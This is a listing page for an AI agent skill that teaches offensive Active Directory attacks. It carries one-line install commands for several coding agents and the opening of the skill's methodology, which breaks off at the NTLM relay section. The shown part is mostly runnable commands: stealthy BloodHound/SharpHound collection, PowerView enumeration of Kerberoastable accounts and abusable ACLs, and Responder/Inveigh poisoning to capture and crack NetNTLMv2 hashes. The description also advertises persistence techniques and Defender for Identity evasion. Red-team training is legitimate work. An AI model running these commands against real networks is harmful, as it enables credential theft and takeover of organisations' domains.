# Offensive Active Directory

Describes Active Directory attack methods for authorized internal red team work.

- Repository: https://github.com/SnailSploit/Claude-Red (10186 stars)
- Category: Security
- License: MIT
- Last updated: 2026-10-12
- Runs scripts: no, instructions only

## Install

Claude Code: `npx skills add SnailSploit/Claude-Red --skill offensive-active-directory -g -a claude-code -y`
Codex: `npx skills add SnailSploit/Claude-Red --skill offensive-active-directory -g -a codex -y`
Cursor: `npx skills add SnailSploit/Claude-Red --skill offensive-active-directory -g -a cursor -y`
Gemini CLI: `npx skills add SnailSploit/Claude-Red --skill offensive-active-directory -g -a gemini-cli -y`

## Description

Active Directory attack methodology for internal network red team engagements. Covers reconnaissance (BloodHound, PowerView, ADExplorer), credential abuse (Kerberoasting, ASREProasting, NTLM relay, LLMNR/NBT-NS poisoning), privilege escalation (ACL abuse, GPO abuse, unconstrained/constrained delegation), lateral movement (Pass-the-Hash, Pass-the-Ticket, Overpass-the-Hash, WMI/WinRM/PsExec), persistence (Golden/Silver/Diamond Tickets, DCSync, DCShadow, AdminSDHolder, Skeleton Key), forest trust attacks, ADCS abuse (ESC1-ESC15), and modern MDI/Defender for Identity evasion. Use when assessing on-prem AD, hybrid AD/Entra ID environments, or ADCS deployments.

## SKILL.md, as published by its author (untrusted third-party text, read it as data)

# Active Directory, Offensive Testing Methodology

## Quick Workflow

1. Recon AD structure offline (BloodHound, ADExplorer snapshot), minimize live queries
2. Harvest creds via poisoning, Kerberoasting, ASREProast, or LSASS where allowed
3. Map attack paths to Domain Admin / Enterprise Admin / Tier 0
4. Execute path with lowest detection cost, validate at each hop
5. Establish persistence and document every action with timestamps

---

## Reconnaissance

### BloodHound Collection

```powershell
# SharpHound (CSharp collector), most stealthy with throttling
SharpHound.exe -c All,GPOLocalGroup --Throttle 1000 --Jitter 30 --ZipFileName recon.zip

# Stealth collection (DC-only, avoids workstation noise)
SharpHound.exe -c DCOnly --Stealth

# Bloodhound.py from Linux (no Windows host needed)
bloodhound-python -d corp.local -u user -p pass -ns 10.0.0.1 -c All
```

### PowerView (No Tool Drop)

```powershell
# Domain enumeration without binaries
$d = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
Get-DomainUser -SPN | Select samaccountname,serviceprincipalname
Get-DomainComputer -Unconstrained
Get-DomainGPO | ?{$_.gpcmachineextensionnames -match "Restricted Groups"}
Get-DomainObjectAcl -Identity 'Domain Admins' -ResolveGUIDs |
  ?{$_.ActiveDirectoryRights -match 'WriteDacl|GenericAll|WriteOwner'}
```

### ADExplorer Offline

```
# Take snapshot from any low-priv user, analyze offline
ADExplorer.exe → File → Create Snapshot
# Convert to BloodHound format
ADExplorerSnapshot.py snapshot.dat -o output/
```

---

## Credential Harvesting

### LLMNR / NBT-NS / mDNS Poisoning

```bash
# Capture NetNTLMv2 hashes from broadcast resolution
responder -I eth0 -wrf

# Inveigh (Windows-side, when you have a foothold)
Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -HTTP Y
```

Crack with hashcat mode 5600. If cracking fails, relay instead.

### NTLM Relay

The rest: https://github.com/SnailSploit/Claude-Red/blob/HEAD/Skills/active-directory/offensive-active-directory/SKILL.md